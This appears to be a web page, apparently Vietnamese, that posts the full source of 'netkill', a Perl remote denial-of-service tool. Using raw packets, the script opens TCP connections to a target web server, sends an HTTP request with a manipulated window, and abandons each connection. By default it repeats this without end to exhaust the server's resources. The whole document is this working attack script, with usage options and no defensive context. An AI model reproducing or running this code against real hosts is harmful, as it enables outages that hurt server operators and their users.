Code Netkill – DoS

trang này đã được đọc lần

CODE

#!/usr/bin/perl -w
# netkill - generic remote DoS attack

use strict;
use Net::RawIP ':pcap'; # Available from CPAN.
use Socket;
use Getopt::Std;

# Process command line arguments.
my %options;
getopts('zvp:t:r:u:w:i:d:', \%options) or usage();
my $zero_window = $options{z}; # Close window in second packet?
my $verbose = $options{v}; # Print progress indicators?
my $d_port = $options{p} || 80; # Destination port.
my $timeout = $options{t} || 1; # Timeout for pcap.
my $fake_rtt = $options{r} || 0.05; # Max sleep between SYN and data.
my $url = $options{u} || '/'; # URL to request.
my $window = $options{w} || 16384; # Window size.
my $interval = $options{i} || 0.5; # Sleep time between `connections.'
my $numpackets = $options{d} || -1; # Number of tries (-1 == infty).
my $d_name = shift or usage(); # Target host name.
shift and usage(); # Complain if other args present.

# This is what we send to the remote host.
# XXX: Must fit into one packet.
my $data = "GET $url HTTP/1.0\015\012\015\012"; # Two network EOLs in the end.

my ($d_canon, $d_ip) = (gethostbyname($d_name))[0,4] # Resolve $d_name once.
or die "$d_name: Unknown host\n";
my $d_ip_str = inet_ntoa($d_ip); # Filter wants string representation.
my $dev = rdev($d_name) or die "$d_name: Cannot find outgoing interface\n";
my $s_ip_str = ${ifaddrlist()}{$dev} or die "$dev: Cannot find IP\n";

$| = 1 if $verbose;
print <<EOF if $verbose;
Sending to destination $d_canon [$d_ip_str].
Each dot indicates 10 semi-connections (actually, SYN+ACK packets).
EOF

my $hitcount; # Used for progress indicator if $verbose is set.

while ($numpackets--) {
# Unfortunately, there's pcapinit, but there's no way to give
# resources back to the kernel (close the bpf device or whatever).
# So, we fork a child for each pcapinit allocation and let him exit.
my $pid = fork();
sleep 1, next if $pid == -1; # fork() failed; sleep and retry.
for (1..10) {rand} # Need to advance it manually, only children use rand.
if ($pid) {
# Parent. Block until the child exits.
waitpid($pid, 0);
print '.' if $verbose && !$? && !(++$hitcount%10);
select(undef, undef, undef, rand $interval);
}
else {
# Child.
my $s_port = 1025 + int rand 30000; # Randon source port.
my $my_seq = int rand 2147483648; # Random sequence number.
my $packet = new Net::RawIP({tcp => {}});
my $filter = # pcap filter to get SYN+ACK.
"src $d_ip_str and tcp src port $d_port and tcp dst port $s_port";
local $^W; # Unfortunately, Net::RawIP is not -w - OK.
my $pcap;
# If we don't have enough resources locally, pcapinit will die/croak.
# We want to catch the error, hence eval.
eval q{$pcap = $packet->pcapinit($dev, $filter, 1500, $timeout)};
$verbose? die "$@child died": exit 1 if $@;
my $offset = linkoffset($pcap); # Link header length (14 or whatever).
$^W = 1;
# Send the first packet: SYN.
$packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0,
tos=>0, id=>int rand 50000},
tcp=> {source=>$s_port, dest=>$d_port, syn=>1,
window=>$window, seq=>$my_seq}});
$packet->send;
my $temp;
# Put their SYN+ACK (binary packed string) into $ipacket.
my $ipacket = &next($pcap, $temp);
exit 1 unless $ipacket; # Timed out waiting for SYN+ACK.
my $tcp = new Net::RawIP({tcp => {}});
# Load $ipacket without link header into a readable data structure.
$tcp->bset(substr($ipacket, $offset));
$^W = 0;
# All we want from their SYN+ACK is their sequence number.
my ($his_seq) = $tcp->get({tcp=>['seq']});
# It might increase the interval between retransmits with some
# TCP implementations if we wait a little bit here.
select(undef, undef, undef, rand $fake_rtt);
# Send ACK for SYN+ACK and our data all in one packet.
# The spec allows it, and it works.
# Who told you about "three-way handshake"?
$packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0,
tos=>0, id=>int rand 50000},
tcp=> {source=>$s_port, dest=>$d_port, psh=>1, syn=>0,
ack=>1, window=>$zero_window? 0: $window,
ack_seq=>++$his_seq,
seq=>++$my_seq, data=>$data}});
$packet->send;
# At this point, if our second packet is not lost, the connection is
# established. They can try to send us as much data as they want now:
# We're not listening anymore.
# If our second packet is lost, they'll have a SYN_RCVD connection.
# Hopefully, they can handle even a SYN flood.
exit 0;
}
}

exit(0);

sub usage
{
die <<EOF;
Usage: $0 [-vzw#r#d#i#t#p#] <host>
-v: Be verbose. Recommended for interactive use.
-z: Close TCP window at the end of the conversation.
-p: Port HTTP daemon is running on (default: 80).
-t: Timeout for SYN+ACK to come (default: 1s, must be integer).
-r: Max fake rtt, sleep between S+A and data packets (default: 0.05s).
-u: URL to request (default: `/').
-w: Window size (default: 16384). Can change the type of attack.
-i: Max sleep between `connections' (default: 0.5s).
-d: How many times to try to hit (default: infinity).

See "perldoc netkill" for more information.
EOF
}